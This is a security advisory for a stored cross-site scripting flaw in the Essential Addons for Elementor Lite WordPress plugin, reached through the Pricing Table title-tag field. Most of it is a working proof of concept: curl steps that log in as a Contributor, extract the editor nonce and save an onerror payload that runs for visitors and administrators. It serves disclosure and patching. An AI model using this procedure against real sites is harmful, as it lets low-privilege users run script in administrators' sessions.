Essential Addons for Elementor – Lite < 6.6.10 – Contributor+ Stored XSS via Pricing Table Title Tag | CVE 2026-13344

Description

The plugin does not validate the HTML tag name of the Pricing Table widget title before outputting it, allowing users with Contributor-level access and above to inject JavaScript that will be executed (Stored Cross-Site Scripting) when the page is viewed, including in the session of an administrator previewing or visiting the post.

Proof of Concept

Environment: WordPress with Elementor + Essential Addons for Elementor - Lite (<= 6.6.9) active. The attacker is a Contributor (holds edit_posts, NOT unfiltered_html). TARGET is the site base URL.

The payload is metacharacter-free, so esc_html() is a no-op on it and it survives the save-time wp_kses_post as a plain string that the renderer emits into HTML tag-name position:

  img src=x onerror=alert(document.domain)

Step 1 - Log in as the Contributor (cookie jar):
curl -s -c cookies "$TARGET/wp-login.php" -o /dev/null
curl -s -c cookies -b cookies \
  --data-urlencode "log=contributor" --data-urlencode "pwd=password" \
  --data-urlencode "wp-submit=Log In" --data-urlencode "testcookie=1" \
  --data-urlencode "redirect_to=$TARGET/wp-admin/" "$TARGET/wp-login.php" -o /dev/null

Step 2 - Create a Contributor-owned draft (note its post id as POST_ID), then open its
Elementor editor and read the save_builder nonce from the localized config:
curl -s -b cookies "$TARGET/wp-admin/post.php?post=$POST_ID&action=elementor" \
  | grep -oE '"ajax":\{[^}]*admin-ajax[^}]*"nonce":"[a-f0-9]{8,12}"'
# -> use the nonce value (NONCE) from that block (the Contributor's own editor nonce).

Step 3 - Persist one Pricing Table widget (DEFAULT style-1) whose title tag is the
payload, via the genuine Elementor save_builder AJAX (status = pending review):
curl -s -b cookies "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=elementor_ajax" \
  --data-urlencode "_nonce=$NONCE" \
  --data-urlencode 'actions={"save_builder":{"action":"save_builder","data":{"status":"pending","elements":[{"id":"s00s00s","elType":"section","elements":[{"id":"c00c00c","elType":"column","settings":{"_column_size":100},"elements":[{"id":"a1b2c3d","elType":"widget","widgetType":"eael-pricing-table","settings":{"eael_pricing_table_style":"style-1","eael_pricing_table_title":"PoC Plan","eael_pricing_table_title_tag":"img src=x onerror=alert(document.domain)","eael_pricing_table_price":"19","eael_pricing_table_price_cur":"$"}}]}]}]}}}' \
  --data-urlencode "editor_post_id=$POST_ID"
# -> {"success":true,...}  The tag-name payload survives the save-time wp_kses_post un-stripped.

Step 4 - An Editor/Administrator publishes the pending post (normal editorial review).

Step 5 - Verify live execution as an anonymous visitor:
curl -s "$TARGET/?p=$POST_ID" | grep -c 'onerror'
# -> 1  (the live, non-encoded <img src=x onerror=alert(document.domain) class="title"> element)
#       the entity-encoded form (&lt;img src=x onerror) count is 0.
# Loading the published post in a browser fires the onerror handler and runs alert(document.domain).

Honest-negative (bounds the finding to the tag-name position): the same payload placed in the
title BODY field (eael_pricing_table_title) is sanitized by the save-time wp_kses_post
(onerror and <script> stripped). Only the tag-NAME position survives, because it is emitted via
esc_html(), which does not encode a metacharacter-free value. Arbitrary body markup is NOT injectable.